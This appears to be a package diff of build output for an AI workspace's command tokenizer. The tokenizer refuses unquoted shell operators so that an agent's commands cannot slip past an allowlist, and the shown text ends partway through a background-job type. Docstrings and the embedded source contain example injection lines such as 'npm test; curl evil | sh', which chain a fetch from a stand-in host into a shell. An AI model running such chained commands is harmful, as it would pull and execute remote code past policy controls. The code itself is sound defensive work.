S,IACX,MAAM,WAAW,0CAA0C;IAG7D,IAAI,SAAS,OAAO,SAAS,QAAQ,SAAS,KAAK;KACjD,WAAW;KACX,KAAK,OAAO;KAEZ;IACF;IAEA,IAAI,SAAS,QAAO,oBAClB,MAAM,YACJ,sFACF;IAGF,WAAW,OAAO;IAClB,KAAK,OAAO;IAEZ;GACF;GAEA,WAAW;GACX,KAAK;EACP;EAEA,KAAK,aAAa;EAClB,IAAI,YAAY,SAAS,KAAK,KAAK,CAAC,CAAC,mBAAmB;EACxD,KAAK,YAAY;EAEjB,OAAO,KAAK,IAAI,MAAM,OAAO,KAAK,GAAG;CACvC;AACF;;AAGA,IAAM,YAAN,MAAgB;CAGd,AAAO,YACL,AAAiB,KACjB,AAAiB,UACjB;EAFiB;EACA;aAJL;CAKX;CAEH,AAAO,aAAa,UAAgC;EAClD,IAAI,WAAW,KAAK,KAAK,GAAG,GAC1B,MAAM,YAAY,wEAAwE;EAI5F,OAAO,MAAM;GACX,KAAK,WAAW;GAEhB,IAAI,KAAK,MAAM,GACb,MAAM,YACJ,SAAS,WAAW,IAChB,0BACA,2DACN;GAGF,MAAM,QAAQ,KAAK;GAEnB,KAAK,cAAc;GAEnB,MAAM,MAAM,KAAK;GAEjB,KAAK,WAAW;GAEhB,MAAM,WAAW,KAAK,iBAAiB;GAEvC,SAAS,KAAK;IACZ,QAAQ,KAAK,IAAI,MAAM,OAAO,GAAG,CAAC,CAAC,KAAK;IACxC,GAAI,aAAa,OAAO,EAAE,SAAS,IAAI,CAAC;GAC1C,CAAC;GAED,IAAI,aAAa,MAAM;IACrB,IAAI,CAAC,KAAK,MAAM,GACd,MAAM,YAAY,gBAAgB,KAAK,KAAK,EAAE,IAAI;IAGpD;GACF;EACF;CACF;CAEA,AAAQ,QAAiB;EACvB,OAAO,KAAK,OAAO,KAAK,IAAI;CAC9B;CAEA,AAAQ,KAAK,SAAS,GAAW;EAC/B,OAAO,KAAK,IAAI,OAAO,KAAK,MAAM,MAAM;CAC1C;CAEA,AAAQ,aAAmB;EACzB,OAAO,KAAK,KAAK,MAAM,OAAO,KAAK,KAAK,MAAM,KAC5C,KAAK;CAET;CAEA,AAAQ,mBAAkC;EACxC,IAAI,KAAK,KAAK,MAAM,KAAK;GACvB,IAAI,KAAK,KAAK,CAAC,MAAM,KAAK;IACxB,KAAK,OAAO;IAEZ,OAAO;GACT;GAEA,KAAK;GAEL,OAAO;EACT;EAEA,IAAI,KAAK,KAAK,MAAM,OAAO,KAAK,KAAK,CAAC,MAAM,KAAK;GAC/C,KAAK,OAAO;GAEZ,OAAO;EACT;EAEA,OAAO;CACT;CAEA,AAAQ,gBAAsB;EAC5B,KAAK,mBAAmB;EAExB,OAAO,KAAK,KAAK,MAAM,OAAO,KAAK,KAAK,CAAC,MAAM,KAAK;GAClD,KAAK;GACL,KAAK,WAAW;GAEhB,IAAI,KAAK,MAAM,GACb,MAAM,YAAY,mDAAmD;GAGvE,KAAK,mBAAmB;EAC1B;CACF;CAEA,AAAQ,kBAA2B;EACjC,MAAM,OAAO,KAAK,KAAK;EAEvB,IAAI,SAAS,OAAO,SAAS,KAC3B,OAAO;EAGT,OAAO,QAAQ,KAAK,IAAI,MAAM,KAAK,KAAK,CAAC,MAAM,OAAO,KAAK,KAAK,CAAC,MAAM;CACzE;CAEA,AAAQ,qBAA2B;EACjC,MAAM,QAAQ,KAAK;EACnB,MAAM,UAA8B;GAAE,aAAa,CAAC;GAAG,OAAO,CAAC;GAAG,WAAW,CAAC;GAAG,QAAQ;EAAG;EAG5F,OAAO,MAAM;GACX,KAAK,WAAW;GAEhB,IAAI,KAAK,MAAM,KAAK,KAAK,KAAK,MAAM,OAAO,KAAK,KAAK,MAAM,KACzD;GAGF,IAAI,KAAK,gBAAgB,GAAG;IAC1B,QAAQ,UAAU,KAAK,KAAK,cAAc,CAAC;IAE3C;GACF;GAEA,MAAM,OAAO,KAAK,UAAU;GAE5B,QAAQ,MAAM,KAAK,IAAI;GAEvB,IAAI,QAAQ,MAAM,WAAW,GAC3B,KAAK,iBAAiB,IAAI;EAE9B;EAEA,IAAI,QAAQ,MAAM,WAAW,KAAK,QAAQ,UAAU,WAAW,GAC7D,MAAM,YAAY,0DAA0D;EAG9E,QAAQ,SAAS,KAAK,IAAI,MAAM,OAAO,KAAK,GAAG,CAAC,CAAC,KAAK;EACtD,KAAK,SAAS,KAAK,OAAO;CAC5B;CAEA,AAAQ,iBAAiB,MAAuB;EAC9C,IAAI,KAAK,IAAI,WAAW,GAAG,KAAK,KAAK,IAAI,WAAW,GAAG,GACrD,MAAM,YAAY,KAAK,KAAK,IAAI,+CAA+C;EAGjF,IAAI,OAAO,KAAK,KAAK,KAAK,GACxB,MAAM,YACJ,4DAA4D,KAAK,MAAM,0BACzE;EAGF,IAAI,CAAC,KAAK,UAAU,mBAAmB,IAAI,KAAK,MAAM,YAAY,CAAC,GACjE,MAAM,YACJ,KAAK,KAAK,MAAM,8DAClB;CAEJ;CAEA,AAAQ,gBAA+B;EACrC,IAAI;EAEJ,IAAI,QAAQ,KAAK,KAAK,KAAK,CAAC,GAAG;GAC7B,KAAK,OAAO,KAAK,KAAK,CAAC;GACvB,KAAK;EACP;EAEA,IAAI;EAEJ,IAAI,KAAK,IAAI,WAAW,MAAM,KAAK,GAAG,GACpC,KAAK;OACA,IAAI,KAAK,IAAI,WAAW,MAAM,KAAK,GAAG,GAC3C,KAAK;OACA,IAAI,KAAK,IAAI,WAAW,MAAM,KAAK,GAAG,KAAK,KAAK,IAAI,WAAW,MAAM,KAAK,GAAG,GAClF,MAAM,YACJ,KAAK,KAAK,IAAI,MAAM,KAAK,KAAK,KAAK,MAAM,CAAC,EAAE,gCAC9C;OAEA,KAAK,KAAK,KAAK;EAGjB,KAAK,OAAO,GAAG;EACf,KAAK,WAAW;EAEhB,IAAI,KAAK,MAAM,KAAK,SAAS,KAAK,KAAK,KAAK,CAAC,GAC3C,MAAM,YAAY,qBAAqB,GAAG,kBAAkB;EAG9D,MAAM,SAAS,KAAK,UAAU;EAE9B,IAAI,OAAO,MAAM;GACf,IAAI,CAAC,UAAU,KAAK,OAAO,KAAK,GAC9B,MAAM,YAAY,OAAO,OAAO,IAAI,4CAA4C;GAGlF,OAAO;IAAE;IAAI,GAAI,OAAO,SAAY,EAAE,GAAG,IAAI,CAAC;IAAI;IAAQ,MAAM;GAAM;EACxE;EAEA,OAAO;GAAE;GAAI,GAAI,OAAO,SAAY,EAAE,GAAG,IAAI,CAAC;GAAI;GAAQ,MAAM,OAAO,MAAM,SAAS;EAAQ;CAChG;CAEA,AAAQ,YAAuB;EAC7B,MAAM,QAAQ,KAAK;EACnB,IAAI,QAAQ;EACZ,IAAI,UAAU;EACd,IAAI,SAAS;EAEb,OAAO,CAAC,KAAK,MAAM,GAAG;GACpB,MAAM,OAAO,KAAK,KAAK;GAEvB,IACE,SAAS,OACT,SAAS,OACT,SAAS,OACT,SAAS,OACT,SAAS,OACT,SAAS,KAET;GAGF,IAAI,SAAS,MAAK;IAChB,MAAM,UAAU,KAAK,IAAI,QAAQ,MAAK,KAAK,MAAM,CAAC;IAElD,IAAI,YAAY,IACd,MAAM,WAAW,+BAA8B;IAGjD,MAAM,QAAQ,KAAK,IAAI,MAAM,KAAK,MAAM,GAAG,OAAO;IAElD,IAAI,OAAO,KAAK,KAAK,GACnB,MAAM,YACJ,2EACF;IAGF,IAAI,MAAM,SAAS,IAAI,KAAK,MAAM,SAAS,IAAI,GAC7C,MAAM,YACJ,wEACF;IAGF,SAAS;IACT,SAAS;IACT,KAAK,MAAM,UAAU;IAErB;GACF;GAEA,IACE,SAAS,OACT,SAAS,OACT,SAAS,OACT,SAAS,OACT,SAAS,OACT,SAAS,OACT,SAAS,KAET,MAAM,YACJ,cAAc,KAAK,0DACrB;GAGF,IAAI,SAAS,QAAQ,KAAK,KAAK,CAAC,MAAM,MACpC,MAAM,YAAY,wEAAuE;GAG3F,IAAI,SAAS,OAAO,SAAS,KAC3B,UAAU;GAGZ,SAAS;GACT,KAAK;EACP;EAEA,OAAO;GAAE,KAAK,KAAK,IAAI,MAAM,OAAO,KAAK,GAAG;GAAG;GAAO;GAAS;EAAO;CACxE;AACF;;;;;;;;;;;AAYA,SAAgB,eAAe,MAAc,SAAyC;CACpF,MAAM,WAA2B,CAAC;CAElC,IAAI;EACF,IAAI,YAAY,OAAO;GACrB,MAAM,WAAiC,CAAC;GAExC,IAAI,UAAU,MAAM,QAAQ,CAAC,CAAC,aAAa,QAAQ;GAEnD,OAAO;IAAE,IAAI;IAAM;IAAU;IAAU,YAAY;GAAM;EAC3D;EAEA,MAAM,QAAqB;GAAE,UAAU,CAAC;GAAG,YAAY;GAAO,SAAS;EAAE;EAEzE,IAAI,YAAY,MAAM,KAAK,CAAC,CAAC,aAAa,QAAQ;EAElD,OAAO;GAAE,IAAI;GAAM,UAAU,MAAM;GAAU;GAAU,YAAY,MAAM;EAAW;CACtF,SAAS,OAAO;EACd,IAAI,iBAAiB,oBACnB,OAAO;GAAE,IAAI;GAAO,QAAQ,MAAM;GAAQ,SAAS,MAAM;EAAQ;EAGnE,MAAM;CACR;AACF"}
@@ -0,0 +1,63 @@
1
+ //#region ../../packages/ai-workspace/src/policy/tokenize-command.d.ts
2
+ /**
3
+ * Why {@link analyzeArgvCommand} could not turn a line into an argv.
4
+ *
5
+ * - `"empty"` — nothing but whitespace.
6
+ * - `"unbalanced-quotes"` — a `'` or `"` is never closed (`quote` says which).
7
+ * - `"metacharacter"` — an unquoted shell operator (`token`, at `index`).
8
+ */
9
+ type ArgvAnalysis = {
10
+ ok: true;
11
+ argv: string[];
12
+ } | {
13
+ ok: false;
14
+ type: "empty";
15
+ } | {
16
+ ok: false;
17
+ type: "unbalanced-quotes";
18
+ quote: "'" | '"';
19
+ index: number;
20
+ } | {
21
+ ok: false;
22
+ type: "metacharacter";
23
+ token: string;
24
+ index: number;
25
+ };
26
+ /**
27
+ * Tokenize a command line into an argv the way {@link tokenizeCommand}
28
+ * does, but say **why** a line cannot be represented as one argv — which
29
+ * quote is unbalanced, or which unquoted operator (`&&`, `|`, `>`, `$(`,
30
+ * a newline, …) was found first. The shell policy uses it to phrase a
31
+ * refusal that tells the model how to split the line.
32
+ *
33
+ * @example
34
+ * analyzeArgvCommand("npm test"); // { ok: true, argv: ["npm", "test"] }
35
+ * analyzeArgvCommand("git add -A && git commit"); // { ok: false, type: "metacharacter", token: "&&", index: 11 }
36
+ */
37
+ declare function analyzeArgvCommand(command: string): ArgvAnalysis;
38
+ /**
39
+ * Tokenize a command line into an argv array WITHOUT any shell semantics.
40
+ *
41
+ * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs
42
+ * separate tokens; single- or double-quoted spans are literal (including
43
+ * whitespace and metacharacters) up to the matching close quote, and
44
+ * adjacent spans concatenate into one token (`foo"bar baz"` → `foo bar baz`).
45
+ * There is **no** variable expansion, globbing, or backslash escaping — a
46
+ * backslash is a literal byte, so Windows paths survive untouched.
47
+ *
48
+ * Returns `null` — "this command cannot be represented as a single argv" —
49
+ * for an empty/whitespace-only line, an unbalanced quote, or any unquoted
50
+ * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The
51
+ * policy gate treats `null` as denied and the local backend refuses to
52
+ * spawn it, which is what closes the `allowed_cmd; anything-else` injection.
53
+ * {@link analyzeArgvCommand} says why a line was refused.
54
+ *
55
+ * @example
56
+ * tokenizeCommand('npm test'); // ["npm", "test"]
57
+ * tokenizeCommand('node -e "console.log(1)"'); // ["node", "-e", "console.log(1)"]
58
+ * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)
59
+ */
60
+ declare function tokenizeCommand(command: string): string[] | null;
61
+ //#endregion
62
+ export { ArgvAnalysis, analyzeArgvCommand, tokenizeCommand };
63
+ //# sourceMappingURL=tokenize-command.d.mts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"tokenize-command.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/policy/tokenize-command.ts"],"mappings":";;AAqBA;;;;;;KAAY,YAAA;EACN,EAAA;EAAU,IAAA;AAAA;EACV,EAAA;EAAW,IAAA;AAAA;EACX,EAAA;EAAW,IAAA;EAA2B,KAAA;EAAkB,KAAA;AAAA;EACxD,EAAA;EAAW,IAAA;EAAuB,KAAA;EAAe,KAAA;AAAA;AA8FvD;;;;AAA+C;;;;;;;AAA/C,iBAjFgB,kBAAA,CAAmB,OAAA,WAAkB,YAAY;;;;;;;;;;;;;;;;;;;;;;;iBAiFjD,eAAA,CAAgB,OAAe"}
@@ -1,4 +1,4 @@
1
- //#region ../ai-workspace/src/policy/tokenize-command.ts
1
+ //#region ../../packages/ai-workspace/src/policy/tokenize-command.ts
2
2
  /**
3
3
  * Characters that are refused when they appear UNQUOTED in a command line.
4
4
  * Workspace commands are executed as a direct argv spawn — never through a
@@ -19,37 +19,43 @@ const UNQUOTED_METACHARACTERS = new Set([
19
19
  "(",
20
20
  ")"
21
21
  ]);
22
+ /** Two-character operators reported as one token in a refusal. */
23
+ const TWO_CHARACTER_OPERATORS = new Set([
24
+ "&&",
25
+ "||",
26
+ ">>",
27
+ "<<",
28
+ "$(",
29
+ "${",
30
+ ">&",
31
+ "<&"
32
+ ]);
22
33
  /**
23
- * Tokenize a command line into an argv array WITHOUT any shell semantics.
24
- *
25
- * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs
26
- * separate tokens; single- or double-quoted spans are literal (including
27
- * whitespace and metacharacters) up to the matching close quote, and
28
- * adjacent spans concatenate into one token (`foo"bar baz"` → `foo bar baz`).
29
- * There is **no** variable expansion, globbing, or backslash escaping — a
30
- * backslash is a literal byte, so Windows paths survive untouched.
31
- *
32
- * Returns `null` — "this command cannot be represented as a single argv" —
33
- * for an empty/whitespace-only line, an unbalanced quote, or any unquoted
34
- * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The
35
- * policy gate treats `null` as denied and the local backend refuses to
36
- * spawn it, which is what closes the `allowed_cmd; anything-else` injection.
34
+ * Tokenize a command line into an argv the way {@link tokenizeCommand}
35
+ * does, but say **why** a line cannot be represented as one argv — which
36
+ * quote is unbalanced, or which unquoted operator (`&&`, `|`, `>`, `$(`,
37
+ * a newline, …) was found first. The shell policy uses it to phrase a
38
+ * refusal that tells the model how to split the line.
37
39
  *
38
40
  * @example
39
- * tokenizeCommand('npm test'); // ["npm", "test"]
40
- * tokenizeCommand('node -e "console.log(1)"'); // ["node", "-e", "console.log(1)"]
41
- * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)
41
+ * analyzeArgvCommand("npm test"); // { ok: true, argv: ["npm", "test"] }
42
+ * analyzeArgvCommand("git add -A && git commit"); // { ok: false, type: "metacharacter", token: "&&", index: 11 }
42
43
  */
43
- function tokenizeCommand(command) {
44
+ function analyzeArgvCommand(command) {
44
45
  const argv = [];
45
46
  let current = "";
46
47
  let inToken = false;
47
48
  let index = 0;
48
49
  while (index < command.length) {
49
- const char = command[index];
50
+ const char = command.charAt(index);
50
51
  if (char === "'" || char === "\"") {
51
52
  const closing = command.indexOf(char, index + 1);
52
- if (closing === -1) return null;
53
+ if (closing === -1) return {
54
+ ok: false,
55
+ type: "unbalanced-quotes",
56
+ quote: char,
57
+ index
58
+ };
53
59
  current += command.slice(index + 1, closing);
54
60
  inToken = true;
55
61
  index = closing + 1;
@@ -64,15 +70,61 @@ function tokenizeCommand(command) {
64
70
  index++;
65
71
  continue;
66
72
  }
67
- if (char === "\n" || char === "\r" || UNQUOTED_METACHARACTERS.has(char)) return null;
73
+ if (char === "\n" || char === "\r") return {
74
+ ok: false,
75
+ type: "metacharacter",
76
+ token: "\n",
77
+ index
78
+ };
79
+ if (UNQUOTED_METACHARACTERS.has(char)) {
80
+ const pair = command.slice(index, index + 2);
81
+ return {
82
+ ok: false,
83
+ type: "metacharacter",
84
+ token: TWO_CHARACTER_OPERATORS.has(pair) ? pair : char,
85
+ index
86
+ };
87
+ }
68
88
  current += char;
69
89
  inToken = true;
70
90
  index++;
71
91
  }
72
92
  if (inToken) argv.push(current);
73
- return argv.length > 0 ? argv : null;
93
+ return argv.length > 0 ? {
94
+ ok: true,
95
+ argv
96
+ } : {
97
+ ok: false,
98
+ type: "empty"
99
+ };
100
+ }
101
+ /**
102
+ * Tokenize a command line into an argv array WITHOUT any shell semantics.
103
+ *
104
+ * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs
105
+ * separate tokens; single- or double-quoted spans are literal (including
106
+ * whitespace and metacharacters) up to the matching close quote, and
107
+ * adjacent spans concatenate into one token (`foo"bar baz"` → `foo bar baz`).
108
+ * There is **no** variable expansion, globbing, or backslash escaping — a
109
+ * backslash is a literal byte, so Windows paths survive untouched.
110
+ *
111
+ * Returns `null` — "this command cannot be represented as a single argv" —
112
+ * for an empty/whitespace-only line, an unbalanced quote, or any unquoted
113
+ * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The
114
+ * policy gate treats `null` as denied and the local backend refuses to
115
+ * spawn it, which is what closes the `allowed_cmd; anything-else` injection.
116
+ * {@link analyzeArgvCommand} says why a line was refused.
117
+ *
118
+ * @example
119
+ * tokenizeCommand('npm test'); // ["npm", "test"]
120
+ * tokenizeCommand('node -e "console.log(1)"'); // ["node", "-e", "console.log(1)"]
121
+ * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)
122
+ */
123
+ function tokenizeCommand(command) {
124
+ const analysis = analyzeArgvCommand(command);
125
+ return analysis.ok ? analysis.argv : null;
74
126
  }
75
127
 
76
128
  //#endregion
77
- export { tokenizeCommand };
129
+ export { analyzeArgvCommand, tokenizeCommand };
78
130
  //# sourceMappingURL=tokenize-command.mjs.map
@@ -1 +1 @@
1
- {"version":3,"file":"tokenize-command.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/policy/tokenize-command.ts"],"sourcesContent":["/**\n * Characters that are refused when they appear UNQUOTED in a command line.\n * Workspace commands are executed as a direct argv spawn — never through a\n * shell — so none of these can mean what a shell would make them mean\n * (chaining, piping, substitution, redirection, subshells). Refusing them\n * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is\n * rejected instead of silently running commands past the allowlist. Inside\n * quotes they are ordinary literal bytes and pass through as argument data.\n */\nconst UNQUOTED_METACHARACTERS = new Set([\n \";\",\n \"&\",\n \"|\",\n \"<\",\n \">\",\n \"`\",\n \"$\",\n \"(\",\n \")\",\n]);\n\n/**\n * Tokenize a command line into an argv array WITHOUT any shell semantics.\n *\n * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs\n * separate tokens; single- or double-quoted spans are literal (including\n * whitespace and metacharacters) up to the matching close quote, and\n * adjacent spans concatenate into one token (`foo\"bar baz\"` → `foo bar baz`).\n * There is **no** variable expansion, globbing, or backslash escaping — a\n * backslash is a literal byte, so Windows paths survive untouched.\n *\n * Returns `null` — \"this command cannot be represented as a single argv\" —\n * for an empty/whitespace-only line, an unbalanced quote, or any unquoted\n * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The\n * policy gate treats `null` as denied and the local backend refuses to\n * spawn it, which is what closes the `allowed_cmd; anything-else` injection.\n *\n * @example\n * tokenizeCommand('npm test'); // [\"npm\", \"test\"]\n * tokenizeCommand('node -e \"console.log(1)\"'); // [\"node\", \"-e\", \"console.log(1)\"]\n * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)\n */\nexport function tokenizeCommand(command: string): string[] | null {\n const argv: string[] = [];\n let current = \"\";\n let inToken = false;\n let index = 0;\n\n while (index < command.length) {\n const char = command[index];\n\n if (char === \"'\" || char === '\"') {\n const closing = command.indexOf(char, index + 1);\n\n // Unbalanced quote — the intended argv is ambiguous; refuse.\n if (closing === -1) {\n return null;\n }\n\n current += command.slice(index + 1, closing);\n inToken = true;\n index = closing + 1;\n\n continue;\n }\n\n if (char === \" \" || char === \"\\t\") {\n if (inToken) {\n argv.push(current);\n current = \"\";\n inToken = false;\n }\n\n index++;\n\n continue;\n }\n\n if (char === \"\\n\" || char === \"\\r\" || UNQUOTED_METACHARACTERS.has(char)) {\n return null;\n }\n\n current += char;\n inToken = true;\n index++;\n }\n\n if (inToken) {\n argv.push(current);\n }\n\n return argv.length > 0 ? argv : null;\n}\n"],"mappings":";;;;;;;;;;AASA,MAAM,0BAA0B,IAAI,IAAI;CACtC;CACA;CACA;CACA;CACA;CACA;CACA;CACA;CACA;AACF,CAAC;;;;;;;;;;;;;;;;;;;;;;AAuBD,SAAgB,gBAAgB,SAAkC;CAChE,MAAM,OAAiB,CAAC;CACxB,IAAI,UAAU;CACd,IAAI,UAAU;CACd,IAAI,QAAQ;CAEZ,OAAO,QAAQ,QAAQ,QAAQ;EAC7B,MAAM,OAAO,QAAQ;EAErB,IAAI,SAAS,OAAO,SAAS,MAAK;GAChC,MAAM,UAAU,QAAQ,QAAQ,MAAM,QAAQ,CAAC;GAG/C,IAAI,YAAY,IACd,OAAO;GAGT,WAAW,QAAQ,MAAM,QAAQ,GAAG,OAAO;GAC3C,UAAU;GACV,QAAQ,UAAU;GAElB;EACF;EAEA,IAAI,SAAS,OAAO,SAAS,KAAM;GACjC,IAAI,SAAS;IACX,KAAK,KAAK,OAAO;IACjB,UAAU;IACV,UAAU;GACZ;GAEA;GAEA;EACF;EAEA,IAAI,SAAS,QAAQ,SAAS,QAAQ,wBAAwB,IAAI,IAAI,GACpE,OAAO;EAGT,WAAW;EACX,UAAU;EACV;CACF;CAEA,IAAI,SACF,KAAK,KAAK,OAAO;CAGnB,OAAO,KAAK,SAAS,IAAI,OAAO;AAClC"}
1
+ {"version":3,"file":"tokenize-command.mjs","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/policy/tokenize-command.ts"],"sourcesContent":["/**\n * Characters that are refused when they appear UNQUOTED in a command line.\n * Workspace commands are executed as a direct argv spawn — never through a\n * shell — so none of these can mean what a shell would make them mean\n * (chaining, piping, substitution, redirection, subshells). Refusing them\n * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is\n * rejected instead of silently running commands past the allowlist. Inside\n * quotes they are ordinary literal bytes and pass through as argument data.\n */\nconst UNQUOTED_METACHARACTERS = new Set([\";\", \"&\", \"|\", \"<\", \">\", \"`\", \"$\", \"(\", \")\"]);\n\n/** Two-character operators reported as one token in a refusal. */\nconst TWO_CHARACTER_OPERATORS = new Set([\"&&\", \"||\", \">>\", \"<<\", \"$(\", \"${\", \">&\", \"<&\"]);\n\n/**\n * Why {@link analyzeArgvCommand} could not turn a line into an argv.\n *\n * - `\"empty\"` — nothing but whitespace.\n * - `\"unbalanced-quotes\"` — a `'` or `\"` is never closed (`quote` says which).\n * - `\"metacharacter\"` — an unquoted shell operator (`token`, at `index`).\n */\nexport type ArgvAnalysis =\n | { ok: true; argv: string[] }\n | { ok: false; type: \"empty\" }\n | { ok: false; type: \"unbalanced-quotes\"; quote: \"'\" | '\"'; index: number }\n | { ok: false; type: \"metacharacter\"; token: string; index: number };\n\n/**\n * Tokenize a command line into an argv the way {@link tokenizeCommand}\n * does, but say **why** a line cannot be represented as one argv — which\n * quote is unbalanced, or which unquoted operator (`&&`, `|`, `>`, `$(`,\n * a newline, …) was found first. The shell policy uses it to phrase a\n * refusal that tells the model how to split the line.\n *\n * @example\n * analyzeArgvCommand(\"npm test\"); // { ok: true, argv: [\"npm\", \"test\"] }\n * analyzeArgvCommand(\"git add -A && git commit\"); // { ok: false, type: \"metacharacter\", token: \"&&\", index: 11 }\n */\nexport function analyzeArgvCommand(command: string): ArgvAnalysis {\n const argv: string[] = [];\n let current = \"\";\n let inToken = false;\n let index = 0;\n\n while (index < command.length) {\n const char = command.charAt(index);\n\n if (char === \"'\" || char === '\"') {\n const closing = command.indexOf(char, index + 1);\n\n // Unbalanced quote — the intended argv is ambiguous; refuse.\n if (closing === -1) {\n return { ok: false, type: \"unbalanced-quotes\", quote: char, index };\n }\n\n current += command.slice(index + 1, closing);\n inToken = true;\n index = closing + 1;\n\n continue;\n }\n\n if (char === \" \" || char === \"\\t\") {\n if (inToken) {\n argv.push(current);\n current = \"\";\n inToken = false;\n }\n\n index++;\n\n continue;\n }\n\n if (char === \"\\n\" || char === \"\\r\") {\n return { ok: false, type: \"metacharacter\", token: \"\\n\", index };\n }\n\n if (UNQUOTED_METACHARACTERS.has(char)) {\n const pair = command.slice(index, index + 2);\n const token = TWO_CHARACTER_OPERATORS.has(pair) ? pair : char;\n\n return { ok: false, type: \"metacharacter\", token, index };\n }\n\n current += char;\n inToken = true;\n index++;\n }\n\n if (inToken) {\n argv.push(current);\n }\n\n return argv.length > 0 ? { ok: true, argv } : { ok: false, type: \"empty\" };\n}\n\n/**\n * Tokenize a command line into an argv array WITHOUT any shell semantics.\n *\n * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs\n * separate tokens; single- or double-quoted spans are literal (including\n * whitespace and metacharacters) up to the matching close quote, and\n * adjacent spans concatenate into one token (`foo\"bar baz\"` → `foo bar baz`).\n * There is **no** variable expansion, globbing, or backslash escaping — a\n * backslash is a literal byte, so Windows paths survive untouched.\n *\n * Returns `null` — \"this command cannot be represented as a single argv\" —\n * for an empty/whitespace-only line, an unbalanced quote, or any unquoted\n * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The\n * policy gate treats `null` as denied and the local backend refuses to\n * spawn it, which is what closes the `allowed_cmd; anything-else` injection.\n * {@link analyzeArgvCommand} says why a line was refused.\n *\n * @example\n * tokenizeCommand('npm test'); // [\"npm\", \"test\"]\n * tokenizeCommand('node -e \"console.log(1)\"'); // [\"node\", \"-e\", \"console.log(1)\"]\n * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)\n */\nexport function tokenizeCommand(command: string): string[] | null {\n const analysis = analyzeArgvCommand(command);\n\n return analysis.ok ? analysis.argv : null;\n}\n"],"mappings":";;;;;;;;;;AASA,MAAM,0BAA0B,IAAI,IAAI;CAAC;CAAK;CAAK;CAAK;CAAK;CAAK;CAAK;CAAK;CAAK;AAAG,CAAC;;AAGrF,MAAM,0BAA0B,IAAI,IAAI;CAAC;CAAM;CAAM;CAAM;CAAM;CAAM;CAAM;CAAM;AAAI,CAAC;;;;;;;;;;;;AA0BxF,SAAgB,mBAAmB,SAA+B;CAChE,MAAM,OAAiB,CAAC;CACxB,IAAI,UAAU;CACd,IAAI,UAAU;CACd,IAAI,QAAQ;CAEZ,OAAO,QAAQ,QAAQ,QAAQ;EAC7B,MAAM,OAAO,QAAQ,OAAO,KAAK;EAEjC,IAAI,SAAS,OAAO,SAAS,MAAK;GAChC,MAAM,UAAU,QAAQ,QAAQ,MAAM,QAAQ,CAAC;GAG/C,IAAI,YAAY,IACd,OAAO;IAAE,IAAI;IAAO,MAAM;IAAqB,OAAO;IAAM;GAAM;GAGpE,WAAW,QAAQ,MAAM,QAAQ,GAAG,OAAO;GAC3C,UAAU;GACV,QAAQ,UAAU;GAElB;EACF;EAEA,IAAI,SAAS,OAAO,SAAS,KAAM;GACjC,IAAI,SAAS;IACX,KAAK,KAAK,OAAO;IACjB,UAAU;IACV,UAAU;GACZ;GAEA;GAEA;EACF;EAEA,IAAI,SAAS,QAAQ,SAAS,MAC5B,OAAO;GAAE,IAAI;GAAO,MAAM;GAAiB,OAAO;GAAM;EAAM;EAGhE,IAAI,wBAAwB,IAAI,IAAI,GAAG;GACrC,MAAM,OAAO,QAAQ,MAAM,OAAO,QAAQ,CAAC;GAG3C,OAAO;IAAE,IAAI;IAAO,MAAM;IAAiB,OAF7B,wBAAwB,IAAI,IAAI,IAAI,OAAO;IAEP;GAAM;EAC1D;EAEA,WAAW;EACX,UAAU;EACV;CACF;CAEA,IAAI,SACF,KAAK,KAAK,OAAO;CAGnB,OAAO,KAAK,SAAS,IAAI;EAAE,IAAI;EAAM;CAAK,IAAI;EAAE,IAAI;EAAO,MAAM;CAAQ;AAC3E;;;;;;;;;;;;;;;;;;;;;;;AAwBA,SAAgB,gBAAgB,SAAkC;CAChE,MAAM,WAAW,mBAAmB,OAAO;CAE3C,OAAO,SAAS,KAAK,SAAS,OAAO;AACvC"}
@@ -0,0 +1,45 @@
1
+ import { ShellJobInfo, ShellOutputOptions, ShellOutputResult } from "./contracts/tool-io.type.mjs";
2
+ import { WorkspaceBackendProcess, WorkspaceOutputStream } from "./contracts/workspace-backend.contract.mjs";
3
+ //#region ../../packages/ai-workspace/src/shell-jobs.d.ts
4
+ /** What {@link ShellJobs.start} needs to launch one command. */
5
+ interface ShellJobSpec {
6
+ /** The command line (already policy-checked). */
7
+ command: string;
8
+ /** Most bytes of output to keep (newest wins). */
9
+ retainBytes: number;
10
+ /** Most commands running at once. */
11
+ maxJobs: number;
12
+ /** Wall-clock cap, if any. */
13
+ timeoutMs?: number;
14
+ /** Start the process; output must be delivered through `onOutput`. */
15
+ launch(onOutput: (stream: WorkspaceOutputStream, chunk: string) => void): WorkspaceBackendProcess;
16
+ }
17
+ /**
18
+ * The background commands one workspace owns. Shared by every projection
19
+ * (`readonly()`, `scope()`) of the workspace, so `dispose()` on any of them
20
+ * stops them all.
21
+ */
22
+ declare class ShellJobs {
23
+ private readonly jobs;
24
+ private nextId;
25
+ private disposed;
26
+ /** Whether {@link dispose} has run. */
27
+ get isDisposed(): boolean;
28
+ /** Start a command as a background job. */
29
+ start(spec: ShellJobSpec): ShellJobInfo;
30
+ /** Forget the oldest finished jobs beyond {@link MAX_FINISHED_JOBS}. */
31
+ private prune;
32
+ private get;
33
+ /** New output of a job (see {@link ShellOutputOptions}). */
34
+ output(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult>;
35
+ /** Kill a job's process tree and wait (bounded) for it to stop. */
36
